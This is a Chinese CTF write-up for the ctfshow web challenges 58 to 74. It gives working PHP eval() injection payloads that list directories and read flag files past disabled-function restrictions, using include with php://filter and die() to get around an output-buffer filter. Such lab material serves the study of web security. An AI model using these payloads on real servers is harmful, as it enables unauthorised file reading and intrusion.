都是 POST传递参数 执行 eval() 函数

web58

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

没有进行任何过滤

输入c=system(ls);

报错:由于安全原因已被禁用,passthru()、exec()、popen()、parse_ini_file()一样被禁用

fgetss()被弃用

可以采取php内置函数读取目录,也可以采用文件包含传递伪协议方式

知识点

  1、读取目录函数:glob()、scandir()、dir()、readdir()

  2、数组指针函数:reset()、current、pos()、end()、next()、prev()、each()、key()

  3、显示文件内容函数:show_source()、highlight_file()

  4、读取文件内容函数:file_get_contents()、file()、readfile()、fopen()、php_strip_whitespace()

  5、无法直接读取文件函数:fpassthru()、fread()

  6、打印输出函数:echo()、print()、print_r()、printf()、sprint()、var_dump()、var_export()

  7、文件包含函数:include()、include_once()、require()、require_once()

由于自身水平受限,仅知道以上函数,欢迎补充

payload

此处以 web58 为例,写了多种解法,后续的题都可参考

//一般情况下我们先要获取当前目录,然后读取文件内容
c=show_source(next(array_reverse(scandir("."))));  // .为当前目录,..为上级目录,scandir(".")读出的数组为 .. . flag.php index.php
c=highlight_file(next(array_reverse(scandir("."))));
c=show_source(pos(glob("*")));  //glob("*")读出数组为 flag.php index.php //这里我们知道 /var/www/html/ 目录中只有 index.php 和 flag.php 两个文件,因此直接读取flag.php
//直接读取文件内容
c=highlight_file('flag.php');
c=show_source('falg.php'); //先读取,再输出,下列需要右击查看源代码
c=echo file_get_contents('flag.php');
c=print_r(file('flag.php'));
c=print_r(readfile('flag.php'));
c=print_r(php_strip_whitespace('flag.php')); //需要先打开文件,再读取内容,最后输出
c=fpassthru(fopen('flag.php','r'));
c=print_r(fread(fopen('flag.php','r'),1000)); //文件包含
c=include('flag.php');var_dump(get_defined_vars()); //文件包含传递伪协议
POST
c=include $_GET[1];
GET
1=php://filter/read=convert.base64-encode/resource=flag.php

然后对获取的字符进行base64解码

web59

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

代码看着还是一样,但把 readfile()、file_get_contents() 函数禁用了

解法参考58

web60

if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
}else{
highlight_file(__FILE__);
}

禁用 file()、fpassthru()、fread()

解法参考58

web61

禁用fopen(),解法参考58

62-65

没测出禁用了啥,解法参考58

web66

禁用show_source()

假 flag

此处尝试查看其他目录,在根目录发现 flag.txt 文件

c=print_r(scandir("../../../"));

payload

c=highlight_file("../../../flag.txt");  // flag.txt 所在目录为跟目录,可以用 / 代替 ../../../
c=highlight_file("/".pos(array_slice(scandir('/'),6,1)));  //这里提供一种思路,当flag被屏蔽时,php不支持通配符,sql支持

c=include('/flag.txt');  //66-77,出了72、73-76以外都可以使用,注意文件名是否改变,文件路径是否改变

web67

禁用print_r(),可用var_dump()替代,同66

web68

禁用highlight_file()

var_dump() 不能直接读取文件内容,先要使用 php_strip_whitespace() 读取文件内容

 payload

c=var_dump(php_strip_whitespace('/flag.txt'));

web69

禁用var_dump()

常用打印输出函数:echo()、print()、print_r()、var_dump() ,除了这四个还有 printf()、sprint() ,与var_dump() 类似的 var_export()

payload

c=printf(php_strip_whitespace('/flag.txt'));
c=var_export(php_strip_whitespace('/flag.txt'));

web70

可以看见禁用了 error_reporting()、ini_set() 、highligth_file()

解法同69

web71

69 的两个 payload 依旧有效,但输出结果全被替换成 ?

在71关前附加了index.php文件

index.php文件

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);
$s = ob_get_contents();
ob_end_clean();
echo preg_replace("/[0-9]|[a-z]/i","?",$s);
}else{
highlight_file(__FILE__);
} ?> 你要上天吗?

两个都是涉及 php 的输出缓冲区

ob_get_contents():获取输出缓冲区内容

ob_end_clean():清除关闭缓冲区

利用 die()、exit() 终止程序,只执行下列代码

<?php
error_reporting(0);
ini_set('display_errors', 0);
// 你们在炫技吗?
if(isset($_POST['c'])){
$c= $_POST['c'];
eval($c);

payload

//只需要在 69 的基础上加上die();
c=printf(php_strip_whitespace('/flag.txt'));die();
c=var_export(php_strip_whitespace('/flag.txt'));die(); c=include('/flag.txt');die();

web72

使用 glob:// 伪协议扫描根目录,需要使用uaf脚本,但看不懂

web73

//先查看目录
c=var_export(scandir('/'));die();
//获取flag
c=include('/flagc.txt');die();

web74

参考

https://www.php.cn/blog/detail/6095.html

https://blog.csdn.net/weixin_43197795/article/details/118113703

ctfshow web入门 命令执行 web58-71的更多相关文章

  1. ctfshow web入门部分题目 (更新中)

    CTFSHOW(WEB) web入门 给她 1 参考文档 https://blog.csdn.net/weixin_51412071/article/details/124270277 查看链接 sq ...

  2. web漏洞-命令执行、文件上传、XSS

    一.命令执行   1:什么是命令执行? 命令执行漏洞是指攻击者可以随意执行系统命令.属于高危漏洞之一任何脚本语言都可以调用操作系统命令. 应用有时需要调用一些执行系统命令的函数,举个例子如:PHP中的 ...

  3. (大数据工程师学习路径)第一步 Linux 基础入门----命令执行顺序控制与管道

    介绍 顺序执行.选择执行.管道.cut 命令.grep 命令.wc 命令.sort 命令等,高效率使用 Linux 的技巧. 一.命令执行顺序的控制 1.顺序执行多条命令 通常情况下,我们每次只能在终 ...

  4. 【CTF WEB】命令执行

    命令执行 找到题目中的KEY KEY为八位随机字符数字,例如key:1234qwer.提交1234qwer 即可. 漏洞代码 <?php system("ping -c 2 " ...

  5. Asp.net 在网页编写C#代码示例-- 一个简单的web MsSql 命令执行环境

    在给一个客户做的系统上,因为要对数据库进行查看,但之前都是用TeamView来连接到客户的服务器进行数据库操作的 但最近客户那边的TeamView好像更改过密码导致我无法正常连接,而巧了客户的网官因为 ...

  6. ctfshow WEB入门 信息收集 1-20

    web1 题目:开发注释未及时删除 查看页面源代码即可 web2 题目:js把鼠标右键和f12屏蔽了 方法一: 禁用JavaScript 方法二: url前面加上view-source: web3 题 ...

  7. 关于CTFshow中Web入门42-54

    0x00前记 ​ 终于把学校上学期的期末考试考完了,刚好复习的时候跟着群里的师傅写了ctfshow上Web入门的42-54的题目,其中有很多的坑,但是收获也是很多的,这里做一下总结吧!给自己挖了很多的 ...

  8. 小白日记36:kali渗透测试之Web渗透-手动漏洞挖掘(二)-突破身份认证,操作系统任意命令执行漏洞

    手动漏洞挖掘 ###################################################################################### 手动漏洞挖掘 ...

  9. ctfshow之Web入门刷题记(从89开始,持续更新)

    0x01Web89-99PHP特性payload Web89 include("flag.php"); highlight_file(__FILE__); if(isset($_G ...

  10. [web安全原理]PHP命令执行漏洞基础

    前言 PHP命令执行漏洞 应用程序的某些功能功能需要调用可以执行系统命令的函数,如果这些函数或者函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令,这就是命 ...

随机推荐

  1. Redis 源码解读之逐出策略

    Redis 源码解读之逐出策略 背景和问题 本文想解决的问题: redis 触发逐出的时机是怎样的? redis 逐出策略有哪些? 如何在海量的 key 中快速找到逐出评价值(idle)最高的key, ...

  2. ubuntu lnmp环境搭建 LNMP(Ubuntu 20.04 + Nginx + PHP 7.1 + Mysql5.7)

    转载csdn: ubuntu lnmp环境搭建 LNMP(Ubuntu 20.04 + Nginx + PHP 7.1 + Mysql5.7)_ts3211的博客-CSDN博客_lnmp环境搭建

  3. Vulhub 漏洞学习之:ElasticSearch

    Vulhub 漏洞学习之:ElasticSearch 目录 Vulhub 漏洞学习之:ElasticSearch 1 ElasticSearch 命令执行漏洞(CVE-2014-3120)测试环境 1 ...

  4. K8S 实用工具之一 - 如何合并多个 kubeconfig?

    开篇 引言: 磨刀不误砍柴工 工欲善其事必先利其器 K8S 集群规模,有的公司倾向于少量大规模 K8S 集群,也有的公司会倾向于大量小规模的 K8S 集群. 如果是第二种情况,是否有一个简单的 kub ...

  5. OpenAI Java SDK——chatgpt-java-v1.0.3更新支持GPT-3.5-Turbo,支持语音转文字,语音翻译。

    简介 chatgpt-java是一个OpenAI的Java版SDK,支持开箱即用.目前以支持官网全部Api.支持最新版本GPT-3.5-Turbo模型以及whisper-1模型.增加chat聊天对话以 ...

  6. rlwrap解决opengauss,pg,oracle上下左右及回退乱码

    安装下rlwrap,最新版本是0.43下载地址 https://fossies.org/linux/privat/rlwrap-0.43.tar.gz/```安装rlwraptar -zxvf rlw ...

  7. 如何将一个h5ad文件内部添加一个csv文件作为属性obsm

    问题展开 学习生物信息的时候发现,需要将一个M * N的csv文件作为anndata文件的.X部分,一个M * 2的csv文件作为anndata文件的空间位置信息标识. 首先先读M*N的文件 myda ...

  8. Git安装,配置、基本使用

    p.p1 { margin: 0; font: 12px ".PingFang SC" } p.p2 { margin: 0; text-align: justify; font: ...

  9. 解决为知笔记docker镜像部署后登录连接mysql报错

    https://www.wiz.cn/zh-cn/docker 部署正常后登录一切正常,但开机重启后登录用户名时报错,是和非正常退出程序导致mysql sock锁,清除该锁文件后恢复正常. 1 C:\ ...

  10. 关于paddleocr2.6 布局分析的踩坑总结(一)

    8月24日paddleocr发布了2.6.0,之前使用过2.5版本的布局分析,整体比较好用.近期就尝试了一下paddleocr的新版本,记录一下尝鲜经历.2.6版本的公告中指出,布局分析模型缩小了95 ...